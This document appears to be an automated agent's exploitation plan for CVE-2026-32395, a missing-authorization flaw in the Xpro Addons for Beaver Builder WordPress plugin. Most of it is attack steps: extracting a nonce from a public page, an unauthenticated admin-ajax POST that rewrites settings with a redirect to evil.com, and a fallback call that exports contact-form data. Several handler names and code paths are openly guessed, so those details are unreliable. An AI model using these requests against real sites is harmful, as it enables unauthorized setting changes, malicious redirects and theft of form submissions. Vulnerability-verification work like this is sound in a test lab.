Exploitation Research Plan: CVE-2026-32395

1. Vulnerability Summary

The Xpro Addons For Beaver Builder – Lite plugin (<= 1.5.6) is vulnerable to Missing Authorization. The vulnerability exists because an AJAX handler registered via wp_ajax_nopriv_ (unauthenticated) and wp_ajax_ (authenticated) fails to perform a capability check (e.g., current_user_can( 'manage_options' )). This allows unauthenticated attackers to trigger sensitive plugin functions, likely related to settings modification or data handling.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: xpro_bb_lite_save_settings (inferred based on plugin functionality and CVSS)
• Vulnerable Parameter: settings_data or similar array-based input.
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active, and a valid nonce for the specific AJAX action must be obtained.

3. Code Flow (Inferred)

1. Registration: The plugin registers the AJAX action in the main plugin class or an AJAX handler class (likely includes/class-xpro-addons-beaver-builder-ajax.php or classes/class-xpro-bb-lite-ajax.php).

   // Inferred Registration
   add_action( 'wp_ajax_xpro_bb_lite_save_settings', array( $this, 'save_settings_callback' ) );
   add_action( 'wp_ajax_nopriv_xpro_bb_lite_save_settings', array( $this, 'save_settings_callback' ) );
   

2. Handler Entry: The save_settings_callback function is called when a request is made to admin-ajax.php?action=xpro_bb_lite_save_settings.
3. Nonce Check: The function likely calls check_ajax_referer( 'xpro_bb_lite_nonce_action', 'nonce' ).
4. Missing Authorization: The function omits a check like if ( ! current_user_can( 'manage_options' ) ) wp_die();.
5. Sink: The function proceeds to update plugin options using update_option().

4. Nonce Acquisition Strategy

To exploit wp_ajax_nopriv handlers, we must extract the nonce from the frontend where the plugin enqueues its scripts.

1. Identify Shortcode: The Xpro Addons scripts are typically loaded on pages containing an Xpro widget. We will use a common widget shortcode (e.g., [xpro_contact_form] or [xpro_counter]).
2. Create Trigger Page: Create a public page containing the shortcode.
   • wp post create --post_type=page --post_status=publish --post_title="Xpro Test" --post_content='[xpro_counter]'
3. Localization Variable: The plugin typically uses wp_localize_script to pass the nonce. Based on common Xpro naming conventions, look for:
   • JS Object: xpro_bb_lite_vars (inferred)
   • Nonce Key: nonce (inferred)
4. Extraction Command:
   • browser_navigate("http://localhost:8080/xpro-test")
   • browser_eval("window.xpro_bb_lite_vars?.nonce")

5. Exploitation Strategy

We will attempt to modify a plugin setting (e.g., enabling a feature or changing a redirect URL) which demonstrates "Integrity: Low" impact.

HTTP Request (Playwright http_request tool)

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body:

  action=xpro_bb_lite_save_settings&nonce=[EXTRACTED_NONCE]&settings[some_critical_feature]=1&settings[redirect_url]=http://evil.com
  

6. Test Data Setup

1. Install Plugin: Ensure xpro-addons-beaver-builder-elementor v1.5.6 is installed and active.
2. Install Beaver Builder: Ensure Beaver Builder (Lite or Pro) is active as Xpro is an addon for it.
3. Create Page:

   wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_content='[xpro_counter]'
   

7. Expected Results

• Response Code: 200 OK or 201 Created.
• Response Body: Likely a JSON success message: {"success": true} or 1.
• Effect: The targeted plugin option is updated in the database.

8. Verification Steps

1. Check Database: Use WP-CLI to verify the option has changed.

   wp option get xpro_bb_lite_settings
   

2. Verify Value: Ensure the some_critical_feature or redirect_url key matches the payload value.

9. Alternative Approaches

If xpro_bb_lite_save_settings is not the correct action:

1. Search for other nopriv actions:

   grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/xpro-addons-beaver-builder-elementor/
   

2. Analyze found actions: Look for any handler that calls update_option, delete_option, or wp_insert_post.
3. Adjust Payload: If the action relates to "Contact Form" data, try to trigger a data export or deletion:
   • Action: xpro_bb_lite_export_form_data
   • Payload: action=xpro_bb_lite_export_form_data&nonce=[NONCE]&form_id=1